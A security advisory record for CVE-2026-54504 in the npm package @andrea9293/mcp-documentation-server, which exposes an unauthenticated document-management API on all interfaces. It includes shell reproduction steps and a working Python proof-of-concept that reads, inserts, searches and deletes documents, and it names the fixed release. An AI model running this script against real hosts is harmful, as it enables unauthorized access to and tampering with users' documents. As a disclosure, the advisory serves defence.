{"id":"CVE-2026-54504","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-54504","summary":"@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default","details":"### Summary\n\n`@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication.\n\nAs a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.\n\nThe issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.\n\n### Details\n\nThe README documents that the Web UI starts automatically and tells users to open:\n\n```text\nhttp://localhost:3080\n```\n\nIt also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults.\n\nThe vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.\n\nIn `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`:\n\n```ts\nif (process.env.START_WEB_UI !== 'false') {\n    initializeDocumentManager().then(manager => {\n        return startWebServer(undefined, manager);\n    }).then(() => {\n        console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');\n    })...\n}\n```\n\nIn `src/web-server.ts`, the Express app appears to listen with only the port:\n\n```ts\nconst server = app.listen(PORT, () => {\n    console.log(`\\n  🌐 MCP Documentation Server - Web UI`);\n    console.log(`  ────────────────────────────────────`);\n    console.log(`  Local:   http://localhost:${PORT}`);\n    console.log(`  Network: http://0.0.0.0:${PORT}\\n`);\n});\n```\n\nWith Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThe exposed API includes document-admin operations such as:\n\n```text\nGET    /api/documents\nGET    /api/documents/:id\nPOST   /api/documents\nPOST   /api/search-all\nDELETE /api/documents/:id\nGET    /api/config\n```\n\nI did not send any `Authorization` header in the PoC requests, and all tested operations succeeded.\n\n### PoC\n\nTested on v1.13.0.\n\n#### 1. Build from source\n\n```bash\ncd ~/Desktop\nmkdir -p docsrv_repro_from_scratch\ncd docsrv_repro_from_scratch\n\ngit clone https://github.com/andrea9293/mcp-documentation-server.git\ncd mcp-documentation-server\n\ngit rev-parse HEAD\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/server.js\nnode -p \"require('./package.json').version\"\n```\n\nExpected version:\n\n```text\n1.13.0\n```\n\n#### 2. Start the server with default Web UI behavior\n\nDo not set `START_WEB_UI=false`.\n\n```bash\nrm -rf /tmp/docsrv_base\nmkdir -p /tmp/docsrv_base\n\nMCP_BASE_DIR=/tmp/docsrv_base \\\nWEB_PORT=3080 \\\nnode dist/server.js \\\n  </dev/null \\\n  >/tmp/docsrv_stdout.log \\\n  2>/tmp/docsrv_stderr.log &\n\nDOCSRV_PID=$!\nsleep 5\n\necho \"DOCSRV_PID=$DOCSRV_PID\"\nps -p \"$DOCSRV_PID\" -o pid,stat,cmd\n```\n\n#### 3. Confirm that the Web UI/API binds to all interfaces\n\n```bash\nss -ltnp | grep ':3080' || true\n```\n\nObserved:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThis indicates the service is not bound only to `127.0.0.1`.\n\n#### 4. Confirm that the API is reachable through the LAN IP\n\n```bash\nLAN_IP=$(hostname -I | awk '{print $1}')\necho \"LAN_IP=$LAN_IP\"\n\ncurl -sS --max-time 5 \"http://$LAN_IP:3080/api/config\"\necho\n```\n\nObserved:\n\n```text\nLAN_IP=10.0.250.230\n{\"gemini_available\":false,\"embedding_model\":\"Xenova/all-MiniLM-L6-v2\"}\n```\n\nNo authentication header was sent.\n\n#### 5. Full unauthenticated document-admin PoC\n\n```bash\ncat > /tmp/docsrv_unauth_poc.py <<'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\nimport urllib.request\nimport urllib.error\n\nHOST = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080\nBASE = f\"http://{HOST}:{PORT}\"\n\ndef req(method, path, body=None):\n    data = json.dumps(body).encode() if body is not None else None\n    headers = {\"Content-Type\": \"application/json\"} if body is not None else {}\n    r = urllib.request.Request(f\"{BASE}{path}\", data=data, method=method, headers=headers)\n    with urllib.request.urlopen(r, timeout=10) as resp:\n        raw = resp.read().decode()\n        try:\n            return resp.status, json.loads(raw or \"null\")\n        except Exception:\n            return resp.status, raw\n\ndef main():\n    print(f\"[poc] target = {BASE}\")\n    print(\"[poc] no Authorization header is sent\")\n\n    status, config = req(\"GET\", \"/api/config\")\n    print(f\"[0] config: HTTP {status}, {config}\")\n\n    status, docs = req(\"GET\", \"/api/documents\")\n    print(f\"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}\")\n\n    marker = \"ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\"\n    body = {\n        \"title\": \"network-inserted-test-document\",\n        \"content\": marker + \"\\nThis document was inserted through the unauthenticated network API.\",\n        \"metadata\": {\"source\": \"unauth-network-poc\"}\n    }\n\n    status, added = req(\"POST\", \"/api/documents\", body)\n    print(f\"[2] add document: HTTP {status}, response={added}\")\n\n    doc_id = None\n    if isinstance(added, dict):\n        doc_id = added.get(\"id\") or added.get(\"document\", {}).get(\"id\")\n\n    if not doc_id:\n        status, docs = req(\"GET\", \"/api/documents\")\n        for d in docs:\n            if d.get(\"title\") == \"network-inserted-test-document\":\n                doc_id = d.get(\"id\")\n                break\n\n    if not doc_id:\n        raise RuntimeError(\"could not locate inserted document id\")\n\n    print(f\"[2] inserted id={doc_id}\")\n\n    status, doc = req(\"GET\", f\"/api/documents/{doc_id}\")\n    content = doc.get(\"content\", \"\") if isinstance(doc, dict) else str(doc)\n    print(f\"[3] read document: HTTP {status}, marker_present={marker in content}\")\n\n    status, hits = req(\"POST\", \"/api/search-all\", {\n        \"query\": \"ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted\",\n        \"limit\": 5\n    })\n    print(f\"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}\")\n\n    status, deleted = req(\"DELETE\", f\"/api/documents/{doc_id}\")\n    print(f\"[5] delete document: HTTP {status}, response={deleted}\")\n\n    print(\"[poc] DONE\")\n\nif __name__ == \"__main__\":\n    main()\nPY\n\nchmod +x /tmp/docsrv_unauth_poc.py\n```\n\nRun against localhost:\n\n```bash\npython3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://127.0.0.1:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.'}]\"\n[5] delete document: HTTP 200, response={'success': True, 'message': 'Document \"network-inserted-test-document\" deleted'}\n[poc] DONE\n```\n\nRun the same PoC against the host's LAN IP:\n\n```bash\nLAN_IP=$(hostname -I | awk '{print $1}')\npython3 /tmp/docsrv_unauth_poc.py \"$LAN_IP\" 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://10.0.250.230:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.'}]\"\n[5] delete document: HTTP 200, response={'success': True, 'message': 'Document \"network-inserted-test-document\" deleted'}\n[poc] DONE\n```\n\n#### 6. Cleanup\n\n```bash\nkill \"$DOCSRV_PID\" 2>/dev/null || true\nfuser -k 3080/tcp 2>/dev/null || true\nrm -rf /tmp/docsrv_base\nrm -f /tmp/docsrv_unauth_poc.py\nrm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log\n```\n\n### Impact\n\nThis is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.\n\nA network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:\n\n- reading document titles, previews, and full document contents;\n- searching across the entire document corpus;\n- inserting attacker-controlled documents into the corpus;\n- deleting documents;\n- tampering with the user's local knowledge base used by the MCP assistant.\n\nThis can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.\n\nThis is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.\n\nA safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.","published":"2026-07-15T23:26:57Z","modified":"2026-07-15T23:30:14.415237018Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"@andrea9293/mcp-documentation-server","fixedVersion":"1.13.1"}],"fix":{"url":"https://github.com/andrea9293/mcp-documentation-server/commit/37159d4e06b8ee50c3645b2496e3d3f6d32c47f9","label":"andrea9293/mcp-documentation-server@37159d4"},"references":[{"type":"WEB","url":"https://github.com/andrea9293/mcp-documentation-server/security/advisories/GHSA-6f5r-5672-72j7"},{"type":"WEB","url":"https://github.com/andrea9293/mcp-documentation-server/commit/37159d4e06b8ee50c3645b2496e3d3f6d32c47f9"},{"type":"PACKAGE","url":"https://github.com/andrea9293/mcp-documentation-server"},{"type":"WEB","url":"https://github.com/andrea9293/mcp-documentation-server/releases/tag/v1.13.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-15T23:30:14.415237018Z"}}